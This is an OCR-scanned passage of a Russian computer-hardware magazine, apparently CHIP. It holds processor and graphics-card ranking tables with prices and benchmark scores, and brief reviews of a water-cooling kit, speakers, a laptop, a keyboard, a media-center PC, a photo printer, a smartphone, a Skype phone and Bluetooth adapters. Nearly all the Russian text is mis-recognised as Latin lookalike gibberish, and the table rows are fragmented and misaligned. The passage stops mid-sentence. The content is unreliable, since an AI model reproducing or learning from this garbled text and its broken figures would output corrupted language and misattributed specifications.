AMD Sempron 64 3600+ 

Manila 

100 

AM2 

1 

2000 

256 

800 (HT) 

90 

81,1 

62 

3586 

282 

282 

4763 

45 

Intel Pentium 4 630 

Prescott 

135 

775 

1 

3000 

2048 

800 (Qp) 

90 

169 

84 

4327 

246 

295 

4098 

46 

Intel Celeron D 352 

Prescott 

60 

775 

1 

3333 

256 

533 (Qp) 

65 

125 

84 

4418 

262 

262 

3945 

47 

Intel Celeron D 355 

Prescott 

70 

775 

1 

3333 

256 

533 (Qp) 

90 

125 

84 

4412 

261 

261 

3934 

48 

AMD Sempron 64 3400+ 

Manila 

65 

AM2 

1 

1800 

256 

800 (HT) 

90 

81,1 

62 

3360 

255 

255 

4224 

49 

Intel Celeron D 336 

Prescott 

50 

775 

1 

2800 

256 

533 (Qp) 

90 

125 

84 

3745 

221 

221 

3393 

50 

AMD Sempron 64 3000+ 

Manila 

50 

AM2 

1 

1600 

256 

800 (HT) 

90 

81,1 

62 

3043 

225 

225 

3856 



yHMBEPCAJlbHblE flPOUECCOPbl fljifl MyjlbTI/IMEfll/IA I/I BMflEO 



PeKOMeHflaMMfl CHIP 


HT = HyperTransport; Qp = Quadpumped 


fljifl OOl/ICHbIX nPMJ10)KEHMM I/I PABOTbl C TPAOMKOM 

59.5 ( ) 61,9 

59.4 ( ) 80,9 

58.4 ( ) 62,6 

58,1 (- ) 94,6 

58.1 ( ) 94,6 

56.8 ( ) 77,4 

56.6 ( ) 51 

55 ( ~ ) 68,1 

54.1 ( ) 62,9 

53.6 ( ) 77 

I 53,6 ( ) 94,5 

52 e 19 

51.8 e 46,9 

50.4 ( ■ ) 61,8 

50.1 ( =* 14,8 

49 ’ 2 e ) 30*4 

48.2 ( 44,5 

46 ( T 48,7 

ynbTPAMOBI/inbHblE PELUEHI/lfl 

44.9 ( ) 76,4 

44.7 ( — ) 63,5 

43,1 ( ~~ T 60,1 

40.7 ( — ) 60,7 

30^8 ( ) 39^5 

Heivi flni/iHHee, TeM ^yniue ◄ ► 
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063op BH/ieonpoueccopoB 


l/lrpbi c pa3penieHneM flo 2560x1600 

OmymeHi/ie Ki/moieaipa bo Bpeivm i/irpbi B03H i/iKaeT 
npi/i i/icno/ib30BaHi/ii/i 24/30-flKMMOBbix mohi/itopob. 
HacTOTa Bi/ifleonpoueccopa fljia KanecTBeHHoro boc- 
npoi/i3BefleHi/m Kapn/iHKi/i He i/irpaeT oco 6 om ponn. 
l/lrpbi c pa3peweHiieM flo 1280x1024 
npoc|3eccMOHajibHbie reMMepbi c mohi/itopom flo 
19 flHDMMOB CMoryT HacjiawflaTbCfl jik) 6 om 1/13 coBpe- 
MeHHbix 3D-i/irp, Haapai/mafl i/ix Ha cbo m BKyc. 


YHMBepcajibHoe pemeHMe 

3 to GPU fljifl Tex, kto KpoMe MyjibTi/iMefli/ia xoneT 
Bpeivm ot BpeMeHi/i i/icnbuaTb ce6fl b i/irpax. 
fljlfl OCpMCHblX npMi 10 )KeHI 1 H H MyJlbTMMeflMa 
1/lHBecTnpoBaB nopaflKa $100 b rpacjoi/iHecKi/m ycKO- 
pi/ue/ib, Bbi nojiyni/ue KOivmbiOTep, c noMombio ko- 
Toporo paOoTa c MyflbTi/iMefli/MHbiMi/i npi/moweHi/m- 
mi/i i/i BOcnpon3BefleHne HD-cfm/ibMOB c pa3pewe- 
Hi/ieM 1080i He CTaHyT fljm Bac npoOjieMOM. 


Pe3yjibTaTbi 
pa3ni/iHHbix i/ir- 
pOBblX TeCTOB 
flJlfl pa3Jll/IHHblX 
3D-MHTepC(3eMCOB 
(OpenGL i/i DirectX). 

Jlynwi/m noKa3a- 
Te/ib npMHAT 3a 100, 
fla/iee pe3yjibiaibi 
npefldaBJieHbi no 
yObiBaHi/iio. 


YBeJlMHeHMe CTOMMOC- 
ti/i BHfleon/iaT 6onee 
nponopuMOHanbHO 
np0l/l3B0fll/ITeJlbH0CTI/l, 
HeM y npoueccopoB. 
HeM fl/ii/iHHee opaHwe- 
Baa nojiocKa Hanpon/iB 
0603HaHeHMfl BMfleO- 
nnaTbi, TeM Jiynwe co- 
OTHOLueHi/ie ueHbi 
i/i KanecTBa. 



Mrpbi c pa3peuieHHeM no 2560x1600 


ymiBepcajibHoe pemeHue 


1 

NVIDIA GeForce 8800 GTX 

768/DDR3 

520 

575 

900 

384 

•/- 

flo 128 

90 

681 

15 707 

117,9 

155,3 

\L 

NVIDIA GeForce 8800 GTS 

640/DDR3 

400 

500 

800 

320 

•/- 

flo 96 

90 

681 

13 392 

88,9 

119,8 


| NVIDIA GeForce 7950 GX2 

2x512/DDR3 

380 

500 

600 

256 

•/- 

16 

48 

90 

556 

12 582 

102,8 

112,7 

M 

rpbi c pa3peiueHne 

m no 12( 

10x1 

024 










4 

ATI Radeon X1950XTX 

512/DDR4 

330 

650 

1000 

256 

-/• 

8 

48 

90 

384 

12 381 

78,9 

111,6 

5 

ATI Radeon X1900XTX 

512/DDR3 

395 

650 

775 

256 

-/• 

8 

48 

90 

384 

11 554 

72,7 

97,5 

6 

ATI Radeon XI 900 XT 

512/DDR3 

310 

625 

725 

256 

-/• 

8 

48 

90 

384 

11 200 

69,2 

93,2 

7 

NVIDIA GeForce 7900 GTX 

512/DDR3 

350 

650 

800 

256 

•/- 

8 

24 

90 

278 

10 627 

72,8 

89,9 

8 

ATI Radeon XI 900 XT 

256/DDR3 

245 

625 

725 

256 

-/• 

8 

48 

90 

384 

10 642j 

68,4 

94,1 

9 

NVIDIA GeForce 7900 GTO 

512/DDR3 

240 

650 

660 

256 

•/- 

8 

24 

90 

278 

10 028 

65,9 

92,6 

10 

NVIDIA GeForce 7950 GT 

512/DDR3 

230 

550 

700 

256 

•/- 

8 

24 

90 

278 

9348 

70,1 

88,6 

11 

ATI Radeon XI 800 XT 

512/DDR3 

300 

625 

750 

256 

-/• 

8 

16 

90 

320 

9387 

60,3 

78,9 

12 

ATI Radeon XI 950 Pro 

256/DDR3 

170 

580 

700 

256 

-/• 

8 

36 

80 

384 

9995 

51,6 

80,9 

13 

NVIDIA GeForce 7900 GT 

256/DDR3 

290 

520 

750 

256 

•/- 

8 

24 

90 

278 

8920 

63,1 

74,4 

I 

ATI Radeon XI 900 GT 

256/DDR3 

150 

575 

600 

256 

-/• 

8 

36 

90 

384 

9599 

48 

77,4 

15 

NVIDIA GeForce 7800 GTX 

256/DDR3 

340 

490 

650 

256 

•/- 

8 

24 

110 

302 

8259 

58,2 

70,4 

16 

NVIDIA GeForce 7900 GT 

256/DDR3 

200 

450 

660 

256 

•/- 

8 

24 

90 

278 

7903 

55,1 

66 

17 

NVIDIA GeForce 7900 GS 

512/DDR3 

190 

450 

660 

256 

•/- 

7 

20 

90 

278 

7471 

56 

68,3 

18 

NVIDIA GeForce 7900 GS 

256/DDR3 

160 

450 

660 

256 

•/- 

7 

20 

90 

278 

7425 

55,3 

67,8 


19 

NVIDIA GeForce 7800 GT 

256/DDR3 

310 

445 

535 

256 

•/- 

7 

20 

110 

302 

7117 

47,8 

55,1 

20 

ATI Radeon XI 800 GTO 

256/DDR3 

145 

500 

500 

256 

-/• 

8 

12 

90 

320 

6893 

38,3 

53,9 

21 

ATI Radeon XI 650 XT 

256/DDR3 

135 

575 

675 

128 

-/• 

8 

24 

80 

330 

7402 

31,9 

53,9 

22 

ATI Radeon X850XT-PE 

256/DDR3 

175 

540 

590 

256 

-/• 

6 

16 

130 

160 

6727 

35,1 

55,3 

23 

NVIDIA GeForce 7600 GT 

256/DDR3 

130 

575 

750 

128 

•/- 

5 

12 

90 

177 

6459 

39,4 

46,2 

24 

ATI Radeon X850XT 

256/DDR3 

130 

520 

540 

256 

-/• 

6 

16 

130 

160 

6421 

32,9 

52,4 

25 

NVIDIA GeForce 7600 GT 

256/DDR3 

120 

560 

700 

128 

•/- 

5 

12 

90 

177 

5969 

35,5 

41,9 

26 

NVIDIA GeForce 6800 Ultra 

256/DDR3 

220 

400 

550 

256 

•/- 

6 

16 

130 

222 

5429 

38,9 

36,3 

27 

ATI Radeon X800XL 

256/DDR3 

135 

400 

490 

256 

-/• 

6 

16 

110 

160 

5333 

27,5 

44,2 


NVIDIA GeForce 7600 GS 

256/DDR3 

90 

400 

400 

128 

•/- 

5 

12 

90 

177 

5124 

37,2 

34,8 

29 

ATI Radeon X850 Pro 

256/DDR3 

350 

505 

520 

256 

-/• 

6 

12 

130 

160 

5491 

26,2 

41,8 

30 

ATI Radeon XI 650 Pro 

256/DDR3 

125 

600 

700 

128 

-/• 

5 

12 

80 

157 

5523 

28,4 

32,5 

31 

NVIDIA GeForce 6800 GT 

256/DDR3 

165 

350 

500 

256 

•/- 

6 

16 

130 

222 

4967 

35,5 

32,8 

32 

NVIDIA GeForce 6800 GS 

256/DDR3 

135 

425 

500 

256 

•/- 

5 

12 

110 

202 

5120 

31,8 

34,1 

33 

ATI Radeon X800 GTO 

256/DDR3 

100 

400 

490 

256 

-/• 

6 

12 

110 

160 

4682 

22,3 

35 

34 

ATI Radeon XI 600 XT 

256/DDR3 

105 

590 

690 

128 

-/• 

5 

12 

90 

157 

4955 

19,8 

26,8 

35 

ATI Radeon X800 GT 

256/DDR3 

120 

475 

490 

256 

-/• 

6 

8 

110 

160 

4191 

17,6 

31,7 

36 

ATI Radeon X800 GTO 

128/DDR 

110 

400 

350 

256 

-/• 

6 

12 

110 

160 

4163 

18,1 

29,5 

fl 

nil otpMCHbix npMJioxteHMM, MynbTHMenna m HD-video no 101 

30i 


NVIDIA GeForce 7300 GT 

256/DDR2 

80 

400 

375 

128 

•/- 

4 

8 

90 

112 

3603 

21 

26,2 

38 

NVIDIA GeForce 6600 GT 

256/DDR3 

120 

500 

500 

128 

•/- 

3 

8 

110 

146 

3778 

20,3 

24,3 

39 

ATI Radeon XI 600 Pro 

256/DDR2 

70 

500 

400 

128 

-/• 

5 

12 

90 

157 

3768 

13,6 

20,6 

40 

NVIDIA GeForce 6600 GT 

128/DDR3 

100 

500 

500 

128 

•/- 

3 

8 

110 

146 

3561 

18,3 

16,2 

41 

42 

ATI Radeon X700 Pro 

256/DDR3 

160 

425 

430 

128 

-/- 

6 

8 

110 

120 

3442 

13,4 

21,6 

NVIDIA GeForce 6600 

256/DDR2 

90 

400 

400 

128 

-/- 

3 

8 

110 

146 

2949 

15,3 

19,3 

43 

NVIDIA GeForce 6800 LE/XT 

256/DDR 

160 

350 

300 

256 

•/- 

4 

8 

110 

202 

2592 

17,2 

18,9 

44 

ATI Radeon XI 300 Pro 

256/DDR2 

60 

600 

400 

128 

-/• 

2 

4 

90 

105 

2875 

6,6 

13,7 

45 

ATI Radeon XI 600 Pro 

256/DDR 

75 

500 

250 

128 

-/• 

5 

12 

90 

157 

2651 

8,3 

14,1 

46 

NVIDIA GeForce 6600/LE 

256/DDR 

70 

300 

250 

128 

-/- 

3 

8 

110 

146 

1979 

9,3 

11,8 

47 

ATI Radeon XI 300 

256/DDR2 

55 

450 

250 

128 

-/• 

2 

4 

90 

105 

2058 

4,6 

8,4 

48 

NVIDIA GeForce 7300 GS 

256/DDR2 

60 

550 

540 

64 

-/- 

3 

4 

90 

112 

2110 

2,7 

4,7 

49 

NVIDIA GeForce 6200 

128/DDR 

35 

300 

200 

128 

-/- 

3 

4 

110 

146 

1583 

2,8 

3,9 

50 

NVIDIA GeForce 7100 GS 

128/DDR 

40 

350 

333 

64 

-/- 

3 

4 

90 

112 

1431 

2,6 

5,3 


MHflEKCbl GPU 

np0M3B0flM- C00TH0LU6HM6 
T6J1bH0CTb L|GH3/KaH6CTB0 


PeKOMeHflaMMfl CHIP 
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HBI? TEST & TECHNICS Hardware express 


CncTeMa BOfldHoro oxnawnemifl 

1 

jl 

1 

li 


rl 



Thermaltake 
Symphony Mini 


AflPEC B MHTEPHETE www.thermaltake.ru 

UEHA, $ 320 

HoBHHKa no flH3aimy BbinojiHeHa b 
CTH jie AOManiHHx ayztHOKOJiOHOK n cob- 
ceM He HanoMHHaeT KOMnbioTepHbie 
KOMnneKTyiomne. DiaBHBiM OTjinnneM 
Symphony Mini nBjineTcn yMeHbineHHaii 
Ha 30 cm BBicoTa Kopnyca. 

KanecTBO c6opKH CHCTeMBi HaxojiHTCH 
Ha bbicokom ypOBHe h npeTeH3HH He 
BBI3BIBaeT. C TeXHHHeCKOH TOHKH 3peHHH 
Bee TaiQKe npopadoTaHO Ha BBicmeM ypOB- 
He. Tpn KpynHBix BemrijiHTOpa (12 cm) 
odecneuHBaiOT odflyB CKpbiToro no a 
pemeTKaMH pa^naTOpa. flaBjieHne b chc- 
TeMe no/mepxcHBaeTcn He oahoh, a cpa3y 
AByMH BOAHHBIMH nOMnaMH. MoiHHOCTb 
CHCTeMBi n03B0JIHeT OTBOflHTb Teiuio He 
tojibko ot npoueccopa, ho h ot BHueonjia- 
tbi h HHnceTa. Xoth rjw nocjiejiHHx #Byx 
BapnaHTOB npH^eTcn AonojiHHTejibHO 
npHoGpeTaTb boho6jiokh. 

Bjiaro^apn ocodoft cncTeMe KJianaHOB 
nepedopKa CHCTeMBi He noTpedyeT noB- 
TOpHOH 3anpaBKH CBO. 

mm MomHan h KpacHBan cncTeMa 
oxjia^aeHHH CTaHeT otjihuhbim npnodpe- 
TeHHeM jsjm jho6oto OBepKJiOKepa, ho noT- 
pedyeT aocTaTOHHO Gojibmnx BjioxeHHH. 
Taioxe npH^eTcn cmhphtbch c HedojibiHHM 
iiiyMOM, B03HHKaK)LHHM b pe3yjibTaTe pac- 
ceKaHHH B03ayx0M pemeTKH h pa^naropa. 


TEXHMHECKME XAPAKTEPMCTMKM 1 

K0JlMHeCTB0/np0M3B0AMTeJlb- 
HOCTb nOMn, Jl/H 

► 

2/45 

K0JlHH6CTB0/p83MBpbl BeHTM- 
JlBTOpOB, MM 

► 

3/120 

rafiapMTbl, MM 

► 

250x250x800 

Macca o6aiaa/BOflo6noK, Kr 

► 

9,4/0,37 



Logitech Z-10 


AflPEC B MHTEPHETE www.logitech.ru 

flEHA, $ 180 

HHTepaKTHBHan axycTHnecKan cncTeMa 
Logitech Z-10 BbinojiHeHa b craae KjiaBna- 
Typbi diNovo: npHMbie jihhhh, 3epKajibH0- 
nepHbie noBepxHOCTH h aaropatomnecH 
nOA HHMH nHKTOipaMMbl . 

/],H3aHH kojiohok BneuaTjuieT. Bxyne c 
BbimeynoMHHyroH KJiaBHaTypon h uep- 
HblM MOHHTOpOM OHM CnOCOdHbl Kap£H- 
HajibHO npeo6pa3HTb padonee MecTO. 
MHTepaKTHBHOCTb, ynoMifflyran (j)Hp- 
MOH B Ha3BaHHH, 3aKJHOHaeTCH B TOM, 
HTO ynpaBJIHTb KOJIOHKaMH MOvKHO R8CKQ 
HenocpeflCTBeHHO c KOMnbioTepa — 
nOMHMO odblUHBIX RJIZ KOJIOHOK pa3b- 
eMOB 3flecb npncyTCTByeT h USB, no 
KOTOpOMy ocymecTBjweTCii ynpaBjieHHe 
rpOMKOCTBIO, peJKHMOM padOTbl flHCn- 
jien h OToOpaxaeMoii Ha HeM HHcjiopMa- 
LtHH, B TOM HHCJie H O BOCnpOH3BOflHMbIX 
KOMno3Hu;H5ix. BnponeM, peryjiHpOBaTb 
3TH (jiyHKHHH M03CH0 H C nOMOmbK) CeH- 
copHbix KHonoK Ha nepeAHen naHejin 
OflHOH H3 KOJIOHOK. 

mm CTHJIbHblH JIH3aHH H HHTepaK- 
THBHoe ynpaBjieHHe npH^yrcH no BKycy 
mhothm nojib30BaTejiHM I1K; k coxcajie- 
HHIO, CTOHMOCTb Z-10 MO>KeT OTIiyrHyTb 
noTeHu;HajibHoro noKynaTejin. 


TEXHMHECKME XAPAKTEPMCTMKM 


HOMMHa/lbHafl MOLflHOCTb, Bt 

► 

30 

fluaMeip 

BH/HH-M3JiyHaTejieM, mm 

► 

25/76 

flonojiHHTe/ibHoe 

► 

3KBajiaM3ep, 

ocHauteHMe 


mini-jack 

Kpen/ieHMB 

► 

Bepn/iKanbHoe, 

ropM30HTajibHoe 

ra6apmbi, mm 

► 

246x114x119 



DiaBHon ocoGeHHOCTbK) 3 toto Joybook 
HBjnieTCii LteHTpajibHbiH npou;eccop — 
3flecb Hcnojib30BaH AByimepHbiH CPU 
ot KOMnaHHH AMD. MaTepHHCKan 
njiaTa ocHameHa HadopOM cncTeMHOH 
jiothkh ATI Radeon Xpress 1150 co 

BCTpOeHHbIM rpa4)HHeCKHM HflpOM. 
/JncmieH KOMnbioTepa BecbMa upOK, ho, 
k coxajieHHK), ero yrjibi o630pa HeBejiH- 
kh, hto He jiynmHM o6pa30M CKa3biBaeT- 
ch Ha yflodcTBe padoTbi. B ocTajibHOM 
oproHOMHHHOCTb noxBajibHa. 
KOMMyHHKapHOHHbie B03M0JKH0CTH 
KOMnbioTepa Taioxe Ha BbicoTe: 3#ecb 
npHcyrcTByiOT KaK Wi-Fi (802.11a/b/g), 
TaK h Bluetooth 2.0. KojinuecTBO pa3b- 
eMOB fljiH TaKoro KOMnaKTHoro Hoyrdy- 
Ka BejiHKo: uerape USB 2.0, Express 
Card, ceTeBoii h MOfleMHbiH pa3beMbi, 
Bbixo^bi S -Video h VGA, FireWire. 
FLiioc ko BceMy HoyTdyK ocHameH 
BOCbMHCKOpocTHbiM nHinymHM DVD- 
npHBOflOM H BCTpOeHHOH KaMepoft C pa3- 
pemeHneM 1,3 MerannKcejia. 

I M H I :!i|i I flocTynHbiii fljiH CBoeii HHmn 
HoyrdyK OTjinnaeTCii bbicokoh npOH3Bo- 
AHTejibHOCTbio npn padoTe c dojibiHHH- 
ctbom npou;eccopHbix npHjioxeHHH, a 

TaK3Ce OTJIHUHbIMH KOMMyHHKailHOH- 
HblMH B03M0JKH0CT5IMH. 


TEXHMHECKME XAPAKTEPMCTMKM 


npoueccop 

► AMDTurion 64 X2 TL50 

>KeCTKMM flMCK, POaMT 

► 

80 

fluaroHa/ib axpaHa, akimmob 


13,3 

Tun onepaTMBHOM nmmvi/ 

06bBM, M6aMT 


DDR2/512 

fadapuTbi, MM/Bec, xr 

► 

334x228x30/2,1 







B KjiaBnaType diNovo Edge coBMeiaeHbi 
HOBeinime pa3padoTKH b odaacTH apro- 
HOMHHHOCTH H OTTOHeHHblH RYL 3aHH. 

OdbiKHOBeHHBie Ha nepBbin B3raaa 
KHonKH HoyrdyHHoro THna daaroaapa 
oco6oh CHCTeMe no^Beca PerfectStroke 
tohho pearapyiOT Ha Hazara a, npHLuea- 
nmeca a aace Ha Kpan KjiaBHin, hto aeftc- 
TBHTejiBHO no3BOJiaeT c^ejiaTB Ha6op 
TeKCTa donee 6bictpbim h yaodHbiM. 
/^H3aHH KJiaBHaTypBI BBI3BIBaeT BOCXH- 
meHHBie B3raaabi. OpHmHajiBHO pemeHBi 
o603HaaeHHH aJIBTepHaTHBHBIX (JtyHKHHH 
KHonoic npH HaacaTHH Ha 4)yHKu;HOHajiB- 
Hyio KHonKy ohh noacBeaHBaiOTca Kpac- 
HO-opaHaceBBiM LIBeTOM. AHaJIOrHHHBIM 
o6pa30M OTodpaacaeTca HHanicaTop pa6o- 
tbi c ceHcopHOH nojiocKOH peryaaTopa 
rpOMKOCTH h ancKOM Taanaaa! 

Enje aea HOBOBBeaeHHa: BO-nepBBix, 
KOMnaHHH Logitech ocHacrara KaaBHaTy- 
py aKKyMyjiHTOpOM BnepBBie, bo-btopbix, 
aaa ee noaKjnoaeHHa k KOMnBiOTepy, 
CHadaceHHOMy Bluetooth, He TpedyeTca 
aonoaHHTeaBHBiH nepeaaTHHK (Bxoaa- 
IIJHH B KOMnjieKT) . 

I HI :ji)i I OuepeaHaa HOBHHKa nepH<j)e- 
pHHHoro THna ot Logitech — oaem> 
BneaaTaaioiaaa, oaem> yaodHa h oaeHb 
aoporaa. 


TEXHMHECKME XAPAKTEPMCTMKM 

TexHonorna cbasm 

Bluetooth 2.0 

Ycurme nmaim, r 

60 

Bpeivia aBTOHOMHOii 
padoTbi, AHeii 

flo 60 

raOapwTbi, mm 

110x410x210 

Macca, r 

940 



PoccHHCKaa KOMnaHHa «Op0HT ITK» 
npeacTaBHaa MyabTHMeaHHHbiH E1K 
Media Center FRONT. 

HecMOTpa Ha to hto pa3MepBi KOMnbiOTe- 
pa coBceM HeBeaHKH, aaHHbin I1K aBjia- 
eTca nojiHOHeHHOH molixhoh CHereMOH, 
KOTOpon no naeay npaKraaecKH aiodaa 
coBpeMeHHaa nrpa hjih pecypcoeMKoe 
npHjioaceHHe. Eaaroaapa npoayMaHHOH 
CHCTeMe oxaaacaeHHa b HeM pacnoaoacH- 
a hcb MOiaHBiH a^CKTonHBiH npoaeccop, 
2 rdauT onepaTHBHon naMaTH h BHaeo- 
naaTa NVIDIA GeForce 7600GS. 

He 3a6BITBI H OCHOBHBie (J)yHKH;HH, 
npHcymne MyabTHMeaHHHbiM KOMnbio- 
TepaM. K MeaHaaeHTpy moxho noa- 
kjhohhtb axycTHaecKyio CHCTeMy THna 
7.1, oh ocHaiaeH KOMdonpHBoaoM, a Ha 
nepeaHen naHean OTodpaacaeTca CTaH- 
aapTHaa aJia 6 bitoboh TexHHKH hh- 
(J)opMan;HH. TaM xe, noa 3epKaabHOH 
KpBIHIKOH, pacnoaoacHaHCb KapT-pHaep 
«5 b 1», aea USB-pa3i>eMa, nopT mini- 
FireWire h aonojiHHTejiBHBie ayano- 
BXOaBI /BBIXOaBI . 

mm POCCHHCKHH KOMnBIOTep C npH- 
BaeKaTeaBHBiM an3aHHOM h mnpoKHMH 
B03M0XCH0CTHMH noaoiraeT Kax aaa Myab- 
THMeana, Tax h doabiHHHCTBa apyrnx 
noab30BaTeabCKHx 3aaaa. 


TEXHMHECKME XAPAKTEPMCTMKM 

npoueccop 

► 

Intel Core 2 Duo (1,86 ITu) 

)KeCTKMM flMCK, T6aMT 

► 

320 

flonojiHHTejibHoe 

ocnameHMe 

► 

nflYMCE 

OC 

► 

MS Windows XP MCE 2005 

raOapmbi, mm 

► 

311x200x179 



Epson PictureMate 
PM280 


AflPEC B MHTEPHETE www.epson.ru 

UEHA, $ 330 


Epson PictureMate PM280 npeacTaBaaeT 

COdOH He npOCTO KOMnaKTHBIH (J)OTO- 
npHHTep, a aeayio nepeHOCHyio c}doto- 
CTyanio. Oh cnocodeH padoTaTb 6e3 noa- 
KaioaeHHa k KOMnBiOTepy h neaaTaTb 
npaKTHaecKH c aiodbix BHeniHHx Hocnre- 
aeir — u,H(J)poBbix (J)OToannapaTOB, xapT 
naMaTH h aaace onTHaecKHx ancKOB. 
OdpadoTKy (J)OTorpa4)HH moxcho np0H3B0- 
aHTb npH nOMOLUH OTHOCHTeabHO IHHpO- 
KHX BCTpOeHHBIX CpeaCTB KOppeKUHH 
H3odpaaceHHa h KaaecTBeHHoro 3Kpa- 
Ha anaroHaabio 6,5 cm hth ace no3BO- 
aHTbnpHHTepy aBTOMaTHaecKH, b coot- 
BeTCTBHe C UBeTOBOH TaMMOH CHHMKa, 
onpeaenHTb cioaceTHyio nporpaMMy npH 
noMOuxn «Epson PhotoEnhance». 
npH BceM 3tom KauecTBO chhmkob noay- 
HaeTca BecbMa bbicokhm, a cedecTOHMOCTb 
neaaTH — MHHHMaabHOH. Taxon pe3yab- 
TaT aocTHmyr daaroaap a oco6oh CHCTeMe 
peryanpOBKH pa3Mepa Kaneab. 

OcTaeTca otmcthtb, hto b ycaoBHax 
OTcyrcTBHa aocTyna k ceTH npHHTep 
MoaceT ocTaBaTbca padoTOcnocodHbiM 
daaroaapa aiacyMyaaTOpy (onuna). 

npeBocxoaHoe ModroibHoe peme- 
HHe aaa noayaenna KanecTBe h h bix cJdoto- 
rpa(J>HH b aiodbix ycaoBHax. 


I TEXHMHECKME XAPAKTEPMCTMKM 1 

MaKCMMajibHbm pasMep ► 

OTnenaTKa, cm 

10x15 

MaKCMMaabHoe pa3peme- ► 
Hue nenam, tohck Ha ahimm 

5760x1440 

TexHOJioma nenaTM 

CTpynHan 


nbe303JieKTpnHecKan 

CxopocTb nenaTM CHMMKa, c ► 

AO 42 

faGapMTbi, MM/Macca, xr 

215x172x158/3 
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Sony Ericsson M600i 


AflPEC B MHTEPHETE www.sonyericsson.com 

UEHA, $ 430 


B 3 toh MoaejiH npe:xae Bcero ctoht OTMe- 
THTb OTJIHHHblH CeHCOpHblH 3KpaH C BblCO- 

khm pa3pemeHHeM 320x240, Ha kotopom 
BnojiHe KOM(j)opTHO npocMaTpHBaTb Be6- 
CTpaHHijbi (b cocTaB npeflycTaHOBjieH- 
Horo IIO bxoaht 6pay3ep Opera). KpOMe 
Toro, jinn BBoaa aaHHbix mo>kho ncnojib- 
30BaTb He coBceM oObiHHyio QWERTY- 
KJiaBHaTypy. B TexHHuecKHx xapaKTepn- 
CTHKax ycTpOHCTBa yKa3biBaeTC5T noa- 
aep>KKa USB, oaHaxo ctoht homhhtb o 
tom, hto peub naeT He o High Speed USB 
co CKopocTbio 480 M6 ht/c, a Bcero jihhib 
ype3aHHOM BapHanre Full Speed c MaKCH- 
MyMOM b 12 M6 ht/c. Tax hto o 6 mch aaH- 
hbimh c nepcoHajibHbiM KOMnbiOTepOM no 
KadejHo npoHcxoaHT aocTarouHo MeaaeH- 
ho, HanpHMep TecTOBbift $aiui pa3MepOM 
3 M6anr 3aKauHBajicir b TeueHue 21 cexyH- 
Abi. ComacHTecb, hto Ha Taxon ckopo- 
cth yroMHTejibHO nepeicaHHBaTb 6ojibinoe 
KOJiHnecTBO MP3-<J)aHJiOB (y Sony Ericsson 
M600i HMeeTCH Henjioxon MyjibTHMeaHH- 
Hbiir nponipbiBaTejib). 
imbbi B xoae TecTHpoBaHHH Moaejib 
M600i CMoma Ha6pan> 98 dajuiOB b pa3ae- 
jie «nepeaana aaHHbix» — bcji n koji en h bi h 
pe3yjibTaT jsjm Symbian -CMapTc^oHa. 


TEXHMHECKME XAPAKTEPMCTMKM 

Pa3Mepbi, MM/Bec, r 

► 

105x54x15/112 

BpeMB paOoTbi B peXCMMC 
pa3roBopa, h 

► 

3 

riepeflana AaHHbix 

► 

GPRS, UMTS, Bluetooth 

Pa3pemeHHe xaiviepbi, Mera- 
nMKcejieii/AMcnjiea Tonex 


-/320x240 

06b6M BCTpOeHHOM IiaMflTM/ 

► 

28/64 

xapTbi naMBTM, MOairr 


(Memory Stick Micro) 

flOnOJlHHTe/lbHO 

► 

■ 

Symbian 9.1 



USRobotics 

USR9630 


AflPEC B MHTEPHETE www.usr-emea.com 

flEHA, $ 140 

KoMnaHHH USRobotics Bbinuia Ha poc- 

CHHCKHH pbIHOK CO CBOHM BapHaHTOM 

aByxpexcHMHoro n h t ep h ct - t€ji e(J) o h a noa 
HeCKOJIbKO npOCTpaHHbIM Ha3BaHHeM 
Cordless Skype Dual Phone. Hepe3 nopT 
RJ-11 6a3a noaKjnouaeTcn k TejiecjioHHOH 
jihhhh, a no USB-Ka6ejiK) — k HacTOJibHO- 
My KOMnbiOTepy, kotopmh yxce aojiaceH 
HMeTb Bbixoa b HnrepHeT. B OTjiHHHe ot 
aHajiorHHHbix paanoTejie(J)OHOB Netgear 
hAVM FritzFon, annapaT USRobotics 
ocHaLueH MajionpHBjieKaTejibHbiM moho- 
xpomhhm ancnjieeM. OaHaxo Ha 3 tot 
H eaocTaTOK mo>kho nocMOTpeTb h c apy- 

TOH TOHKH 3peHHH: 3KOHOMHBIH OTKa3 OT 
UBeTHoro ancrnien no3BOjnui aMepmcaHC- 
KOMy npOH3BoaHTejiio CHH3HTB u;eHy yCT- 
pohcTBa ao npneMjieMoro aJin pocchhh 
ypOBHH. K TOMy xe maBHbiM b HnrepHeT- 
Tejie(J)OHe HBjiHeTcn KanecTBO nepeaauH 
rojioca, a k 3TOMy noKa3aTejiK) b xoae Tec- 
THpoBaHHH npeTeH3HH He bo 3 hhkjio. Hac 
Taicace nopaaoBajia bo 3 moxhoctb yaepxa- 
HHH H nepeKJHOHeHHH BBI30BOB MQlKJjy 
Skype h oGbihhoh TejiecjDOHHOH jiHHHeir. 
|:ni:jip| npH HajiHHHH KOMruieicra Cordless 
Skype 3BOHHTB no MHTepHeTy Tax ace 
npocTO, Kax h no odbiHHOMy TejiecJiOHy. 


1 TEXHMHECKME XAPAKTEPMCTMKM I 

llOAKJlKHeHMe 6a3bl 

► 

DECT 6.0 

3oHa noKpbiTHa Ha 
B03Ayxe/B noMeLueniin, m 

► 

300/50 

BpeMa pafioTbi b pexwMe 
pasroBopa, h 

► 

10 

nopTbl nOAKJlH)H6HH5l 

► 

USB 1.1, RJ-11 

Pa3Mepbi 6a3bi, mm 

► 

113x27x126 

Pa3Mepbi TpydKH, mm 

► 

154x48x28 

COBMeCTMMOCTb 

► 

Windows 2000, XP 



AflPEC B MHTEPHETE www.acorp.ru 

UEHA, $ 1 5 


KoMnaHHH Acorp, xopomo H3BecTHaa OTe- 
necTBeHHbiM nojib30BaTejiHM Kax nocTaB- 
ihhk aemeBbix aHajioroBbix MoaeMOB, a 
XHTeJIHM CTOJTHHbl TaiOKe H KUK npOH3BO- 
aHTejib ADSF-ycTpOHCTB, pacnmpHjia 
cneicrp cbohx npoayKTOB Ha pOCCHHCKOM 
pbiHKe, npeano>KHB opHTHHajibHbie Moae- 
jih aaanTepOB Bluetooth CTaHaapTa 2.0. 
06a BapHanra BbinojiHeHbi b nojiynpo- 
3panHOM Kopnyce Gejioro h rojiydoro n;Be- 
tob: Moaejib WBD1 HBjineTCH Bluetooth- 
ycTponcTBOM Kjiacca 1 (paanyc nepeaann 
aaHHbix — ao 100 m Ha otkphtom B 03ay- 
xe), a WBD2 — aaanrepOM Kjiacca 2 (ao 
40 m Ha oTKpbiTOM B03ayxe). 

BMecTO npHBbiHHbix apaiiBepOB ot 
WIDCOMM KOMnaHHH Acorp ncnojib- 
